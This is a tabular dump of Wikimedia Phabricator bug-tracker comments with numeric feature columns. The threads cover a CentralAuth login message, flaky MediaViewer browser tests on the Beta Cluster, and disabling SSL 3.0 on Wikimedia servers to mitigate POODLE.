https://en.wikipedia.org/w/api.php?action=query&meta=siteinfo&siprop=statistics",,,1414270347,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-clwgsyzylbfaofhdvsqz,task_subcomment,,True,c3,1,False,,,-36,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,8.0,12.0,2.0,0.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.375,0.825,"I keep getting the message ""Central login
You are centrally logged in as (...). Reload the page to apply your user settings.""
on the new format of this page:
URL"
322776,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","**gerritadmin** wrote:

Change 167247 merged by jenkins-bot:
API: Clean up skin handling

https://gerrit.wikimedia.org/r/167247",,,1413657175,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-clwgsyzylbfaofhdvsqz,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.64,0.76,"**gerritadmin** wrote:

Change 167247 merged by jenkins-bot:
API: Clean up skin handling

GERRIT_URL"
322766,"action=help shows a ""Central login"" message on every page when extension CentralAuth is used","**gerritadmin** wrote:

Change 167247 had a related patch set uploaded by Anomie:
API: Clean up skin handling

https://gerrit.wikimedia.org/r/167247",,,1413571670,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-clwgsyzylbfaofhdvsqz,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.8214285714285716,0.7857142857142857,"**gerritadmin** wrote:

Change 167247 had a related patch set uploaded by Anomie:
API: Clean up skin handling

GERRIT_URL"
74162,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","It is hard to tell if this is an actual bug or an artifact of the beta cluster test environment, but in recently time the browser tests for MMV in Chrome have been encountering sporadic errors on well-known test images ""Error: Could not load image data. http""

Examples: 

16 October: https://integration.wikimedia.org/ci/job/browsertests-MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/229/testReport/junit/(root)/Navigation/Browsing_back_to_close_MMV_restores_the_scroll_position/

6 October: https://integration.wikimedia.org/ci/view/BrowserTests/view/-All/job/browsertests-MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/208/

5 October: https://integration.wikimedia.org/ci/view/BrowserTests/view/-All/job/browsertests-MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/206/testReport/junit/(root)/Basic%20Multimedia%20Viewer%20navigation/Multimedia_Viewer__MMV_/",Medium,50.0,1413502260,1446480306.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-qyrrnny7y3utypq3c3gm,task_description,invalid,True,c3,1,False,False,False,-37,True,0.0,0.0,0.0,0.0,1.0,6.0,3.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,18.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,17.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,1.0,10.0,12.0,0.0,3.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,3.7083333333333335,0.7638888888888888,"It is hard to tell if this is an actual bug or an artifact of the beta cluster test environment, but in recently time the browser tests for MMV in Chrome have been encountering sporadic errors on well-known test images ""Error: Could not load image data. http""

Examples: 

16 October: URL

6 October: URL

5 October: URL"
556444,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster",I do not remember seeing this problem in a long time. Please reopen if this is still a problem.,,,1446480306,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,3,True,,,17,True,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,10.0,5.0,0.0,19.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,3.6666666666666665,0.8095238095238095,I do not remember seeing this problem in a long time. Please reopen if this is still a problem.
531570,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Mass-removing the Multimedia tag from MediaViewer tasks, as this is now being worked on by the Reading department, not Editing's Multimedia team.",,,1442850163,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.428571428571429,0.8928571428571429,"Mass-removing the Multimedia tag from MediaViewer tasks, as this is now being worked on by the Reading department, not Editing's Multimedia team."
340708,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster",Lowering priority as we do not plan to work on this anytime soon.,,,1418258751,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-29,True,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,21.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.7857142857142856,1.0,Lowering priority as we do not plan to work on this anytime soon.
336173,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","I see these every now and then on beta, even with normal browsing behavior (no aborted requests). I think beta is just aborting requests (maybe request involving storing a thumbnail locally?) from time to time.

At any rate, that error message could be improved.",,,1417663877,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-30,True,4.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,5.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,11.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,4.0,0.8363636363636363,"I see these every now and then on beta, even with normal browsing behavior (no aborted requests). I think beta is just aborting requests (maybe request involving storing a thumbnail locally?) from time to time.

At any rate, that error message could be improved."
335875,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Today I ran into a similar message while I was working locally, that happened because I navigated away from the page as it was loading an image. It might be what's happening here and the fact that this error is displayed at all in situations where an XHR is aborted by the browser is undesirable. Glancing at media viewer's code where that error comes from, I think we could narrow it down a little to understand what's happening in the browser tests.",,,1417620541,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-31,True,1.0,0.0,0.0,2.0,0.0,3.0,1.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,16.0,0.0,1.0,0.0,1.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,2.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,1.0,0.0,0.0,14.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,9.0,7.0,9.0,6.0,1.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,16.0,1.0,0.0,0.0,0.0,9.0,0.0,4.0,4.0,0.0,6.0,0.0,0.0,0.0,4.111111111111111,0.7,"Today I ran into a similar message while I was working locally, that happened because I navigated away from the page as it was loading an image. It might be what's happening here and the fact that this error is displayed at all in situations where an XHR is aborted by the browser is undesirable. Glancing at media viewer's code where that error comes from, I think we could narrow it down a little to understand what's happening in the browser tests."
322124,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Might be, but there are occurrences of ""Could not load image data http"" that are older than Oct 17th.",,,1415864052,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-33,True,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,22.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,3.608695652173913,0.9130434782608695,"Might be, but there are occurrences of ""Could not load image data http"" that are older than Oct 17th."
322122,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Last successful puppet run on all the cache instances on betalabs was on:

The last Puppet run was at Fri Oct 17 10:07:24 UTC 2014 (37931 minutes ago).

So this *might* be related?

See bug 73263 for info on the puppet issue.",,,1415817079,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-34,True,2.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,15.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,11.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5283018867924527,0.7924528301886793,"Last successful puppet run on all the cache instances on betalabs was on:

The last Puppet run was at Fri Oct 17 10:07:24 UTC 2014 (37931 minutes ago).

So this *might* be related?

See bug 73263 for info on the puppet issue."
322117,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","It's actually gotten a lot worse now that I've split the large scenarios into smaller ones following Dan's advice. Just because there are statistically more chances of running into the problem, I guess.",,,1414426553,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-36,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,5.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,13.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,13.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,0.0,5.0,8.0,0.0,0.0,4.358974358974359,0.8717948717948718,"It's actually gotten a lot worse now that I've split the large scenarios into smaller ones following Dan's advice. Just because there are statistically more chances of running into the problem, I guess."
322110,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Yes, there are a few test failures with this error message every day.",,,1414418331,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-36,True,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,"Yes, there are a few test failures with this error message every day."
322104,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster",Anybody knows if this has happened again in the last 10 days?,,,1414416078,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-36,True,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,1.0,Anybody knows if this has happened again in the last 10 days?
322097,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","Probably a HTTP 500 on the imageinfo API call. The last test run was Oct 17, 2014 7:29:05 AM. The Apache log for deployment-mediawiki03 doesn't contain anything for that date; no clue if that's the right place to look, though.",,,1413568159,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-37,True,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,16.0,2.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.74,0.86,"Probably a HTTP 500 on the imageinfo API call. The last test run was Oct 17, 2014 7:29:05 AM. The Apache log for deployment-mediawiki03 doesn't contain anything for that date; no clue if that's the right place to look, though."
322091,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster","17 October: https://integration.wikimedia.org/ci/job/browsertests-MultimediaViewer-en.wikipedia.beta.wmflabs.org-linux-chrome-sauce/230/testReport/junit/(root)/Download%20menu/Attribution_area_can_be_closed/

Adding Ori because HHVM",,,1413564353,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,False,,,-37,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,56.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.888888888888889,1.0,"17 October: URL

Adding Ori because HHVM"
322084,"(possibly spurious) ""Could not load image data http"" errors on Beta Cluster",I suspect this is still beta being unreliable because of HHVM hiccups. We've had sporadic errors like that ever since HHVM was rolled out on beta.,,,1413533101,,PHID-USER-papbtlagfolot4dzerne,False,,,PHID-TASK-qyrrnny7y3utypq3c3gm,task_subcomment,,True,c3,1,True,,,-37,True,0.0,0.0,0.0,3.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,7.0,21.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,14.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,21.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.172413793103448,0.896551724137931,I suspect this is still beta being unreliable because of HHVM hiccups. We've had sporadic errors like that ever since HHVM was rolled out on beta.
74072,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"This POODLE bites: exploiting the SSL 3.0 fallback:  http://googleonlinesecurity.blogspot.co.uk/2014/10/this-poodle-bites-exploiting-ssl-30.html
https://www.openssl.org/~bodo/ssl-poodle.pdf

The only workaround now is to disable SSL 3.0, but this will make IE6 users unable to access over HTTPS. If supporting IE6 is needed, how about we disable it for now and re-enable SSL 3.0 after TLS_FALLBACK_SCSV is available?

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1413358680,1422952876.0,PHID-USER-arjqb24x4oae7awzpfp6,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_description,resolved,True,c3,1,True,False,True,-38,True,0.0,0.0,0.0,1.0,0.0,5.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,4.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,19.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,2.0,10.0,14.0,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.888888888888889,0.6790123456790124,"This POODLE bites: exploiting the SSL 3.0 fallback:  URL
URL

The only workaround now is to disable SSL 3.0, but this will make IE6 users unable to access over HTTPS. If supporting IE6 is needed, how about we disable it for now and re-enable SSL 3.0 after TLS_FALLBACK_SCSV is available?

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
406035,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"radium is the Tor relay, not an HTTP server. It was due for a tor version upgrade anyway though, so I did this today.",,,1422952876,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,0.9285714285714286,"radium is the Tor relay, not an HTTP server. It was due for a tor version upgrade anyway though, so I did this today."
406011,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),So is radium needed to fix as well?,,,1422946654,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,So is radium needed to fix as well?
405958,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),i fixed the SSL settings on wikitech-static. SSLv3 is disabled and i used the same cipher settings as on regular wikitech. feel free to re-scan now,,,1422929821,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,0.0,0.0,0.0,25.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,16.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8125,0.78125,i fixed the SSL settings on wikitech-static. SSLv3 is disabled and i used the same cipher settings as on regular wikitech. feel free to re-scan now
405946,Disable SSL 3.0 on Wikimedia sites to mitigate POODLE attack (CVE-2014-3566),"wikitech-static is still in use, but totally separate from puppet, running on a rackspace instance.  radium is the tor-relay. ",,,1422927642,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-ffsgxgoezxaqvpgw5u3e,task_subcomment,,True,c3,1,True,,,-22,True,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.8214285714285716,0.8571428571428571,"wikitech-static is still in use, but totally separate from puppet, running on a rackspace instance.  radium is the tor-relay. "
